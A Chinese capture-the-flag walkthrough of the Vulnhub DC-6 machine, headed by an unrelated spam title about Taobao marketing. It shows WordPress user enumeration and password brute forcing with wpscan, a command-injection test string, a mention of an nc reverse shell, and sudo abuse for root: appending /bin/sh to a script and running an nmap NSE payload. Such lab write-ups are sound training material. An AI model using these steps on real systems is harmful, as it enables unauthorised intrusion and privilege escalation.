如何做淘宝客网站推广网络营销的四个特点

靶机IP:192.168.20.140
kaliIP:192.168.20.128
网络有问题的可以看下搭建Vulnhub靶机网络问题(获取不到IP)

信息收集

nmap扫描靶机端口及版本信息

dirsearch扫目录

发现是个wordpress建站
我们去访问前端界面

存在重定向，修改hosts文件，加入192.168.20.140 wordy

漏洞利用

与DC-2都是用的wordpress建站，同样考虑用wpscan扫描网站漏洞。
wpscan --url http://wordy --enumerate u爆破用户名

把用户名存成字典ueser.txt
之后根据vulnhubDC-6首页作者的提示生成字典。

┌──(root㉿kali)-[/home/kali/Desktop/DC-6]
└─# cat /home/kali/Desktop/jwt/rockyou.txt | grep k01 > pass.txt

用wpscan爆破用户，有了用户名字典和密码字典
wpscan --url http://wordy -U user.txt -P pass.txt

通过/wp-admin路径登入后台，浏览功能，发现一个Activity Monitor功能，里面的tools可以执行命令，用ping 127.0.0.1 | ls进行测试，发现存在命令注入

用nc反弹shell

之后生成交互式shell

提权

查看SUID提权，没有发现提权点。
之后浏览目录，在passwd中发现四个用户
接下来去他们目录看下，在jens中发现个thing-to-do.txt，cat一下，发现graham的密码

尝试连接

$ su graham
su graham
Password: GSo7isUM1D4graham@dc-6:/home$ ls

之后看下sudo提权，发现jens目录下的脚本文件可以执行

graham@dc-6:/home/jens$ sudo -l
sudo -l
Matching Defaults entries for graham on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser graham may run the following commands on dc-6:(jens) NOPASSWD: /home/jens/backups.sh

再看下文件权限，我们的用户graham正好在devs用户组，有rwx权限

graham@dc-6:/home/jens$ ls -l 
ls -l
total 12524
-rwxrwxr-x 1 jens devs       58 Jun 11 22:40 backups.sh
-rw-r--r-- 1 jens jens 12819077 Jun 11 22:19 backups.tar.gz
graham@dc-6:/home/jens$ id
id
uid=1001(graham) gid=1001(graham) groups=1001(graham),1005(devs)
graham@dc-6:/home/jens$

我们在脚本中写入bash

graham@dc-6:/home/jens$ echo "/bin/sh" >> /home/jens/backups.sh
echo "/bin/sh" >> /home/jens/backups.sh

之后执行，切换到用户jens

graham@dc-6:/home/jens$ sudo -u jens /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh
tar: Removing leading `/' from member names
$ whoami
whoami
jens

查看sudo提权

$ sudo -l
sudo -l
Matching Defaults entries for jens on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser jens may run the following commands on dc-6:(root) NOPASSWD: /usr/bin/nmap

看下nmap sudo提权
7.40
这个靶机nmap版本是7.40，不是（b）的老版本，所以用（a）
#.nse是nmap的插件拓展名

$ echo 'os.execute("/bin/sh")' > /tmp/pass.nse
echo 'os.execute("/bin/sh")' > /tmp/pass.nse
$ sudo nmap --script=/tmp/pass.nse

Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.If you enjoyed this CTF, send me a tweet via @DCAU7.

提权成功，find命令找打flag，cat一下
